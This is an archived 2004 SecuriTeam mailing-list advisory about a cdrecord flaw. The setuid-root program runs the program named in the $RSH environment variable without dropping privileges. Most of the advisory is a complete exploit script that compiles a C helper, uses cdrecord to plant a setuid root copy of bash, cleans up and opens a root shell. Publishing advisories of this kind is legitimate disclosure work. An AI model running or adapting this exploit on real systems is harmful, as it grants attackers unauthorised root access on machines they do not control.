[EXPL] Cdrecord RSH SUID Shell Creation
From: SecuriTeam (support_at_securiteam.com)
Date: 09/14/04
- Previous message: SecuriTeam: "[UNIX] PHP-Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 14 Sep 2004 13:43:48 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Cdrecord RSH SUID Shell Creation
------------------------------------------------------------------------
SUMMARY
Max Vozeler found that the
<http://www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdrecord.html> cdrecord program, which can be installed as suid root, fails to drop euid=0 when it exec()s a program specified by the user through the $RSH environment variable. This can be abused by a local attacker to obtain root privileges.
DETAILS
This shell script writes out and compiles a C application which sets it's
UID to it's EUID and copies a SUID shell to the current directory,
compiles it, then uses cdrecord's use of the $RSH environment variable to
execute it. It then cleans up it's mess and executes the shell for
convenience.
*Note: This exploit is written assuming your target shell is bash
Max Vozeler is credited with discovering this vulnerability as stated in
the <http://lwn.net/Alerts/101255/> Mandrake Linux security advisory
MDKSA-2004:091.
Exploit Code:
#!/bin/bash
#
# cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
#
# Exploits cdrecord's exec() of $RSH before dropping privs
#
cat > ./cpbinbash.c << __EOF__
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
main( int argc, char *argv[] ) {
int fd1, fd2;
int count;
char buffer[1];
/* Set ID's */
setuid( geteuid() );
setgid( geteuid() );
/* Copy the shell */
if ((fd1=open( "/bin/bash", O_RDONLY))<0)
return -1;
if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
return -1;
while((count=read(fd1, buffer, 1)))
write(fd2, buffer, count);
free(buffer);
close( fd1 );
close( fd2 );
/* Priv the shell */
chown( "./bash", geteuid(), geteuid() );
chmod( "./bash", 3565 );
}
__EOF__
cc ./cpbinbash.c -o ./cpbinbash
# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash
# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -
# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=
# Use our suid bash
/bash -p
ADDITIONAL INFORMATION
The information has been provided by <mailto:druid@caughq.org> I)ruid.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] PHP-Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NT] ZipGenius Directory Traversal
... The following security advisory is sent to the securiteam mailing list, and
can be found at the SecuriTeam web site: http://www.securiteam.com ... ZipGenius does not
check before it unpacks a file, ... In no event shall we be liable for any damages whatsoever
including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
(Securiteam) - [NEWS] Clipcomm CPW-100E Wireless Mobile IP Phone Open Debug Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Clipcomm's Wi-Fi IP phone, CWP-100,
is a low-priced wireless mobile IP ... An undocumented port and debug service on TCP/60023
enables an attacker to ... The shell access provides the attacker with two levels
of access: ... (Securiteam) - [UNIX] KPopup Allows Gaining of Elevated Privileges (Insecure system())
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... compiled and install the binary
KPopup is installed setuid root it also ... especially on a setuid root binaries. ...
To exploit this we need to do is make a shell script and call it killall, ... (Securiteam) - [NT] AOL Nullsoft Winamp IT Module Heap Memory Corruption (IN_MOD.DLL)
... The following security advisory is sent to the securiteam mailing list, and
can be found at the SecuriTeam web site: http://www.securiteam.com ... run arbitrary code in context
of user running AOL Nullsoft Winamp. ... In no event shall we be liable for any damages
whatsoever including direct, indirect, incidental, consequential, loss of business profits or special
damages. ... (Securiteam) - [NT] Symantec AntiVirus Engine CAB Parsing Heap Overflow Vulnerability
... The following security advisory is sent to the securiteam mailing list, and
can be found at the SecuriTeam web site: http://www.securiteam.com ... Symantec AntiVirus Engine
CAB Parsing Heap Overflow Vulnerability ... In no event shall we be liable for any damages
whatsoever including direct, indirect, incidental, consequential, loss of business profits or special
damages. ... (Securiteam)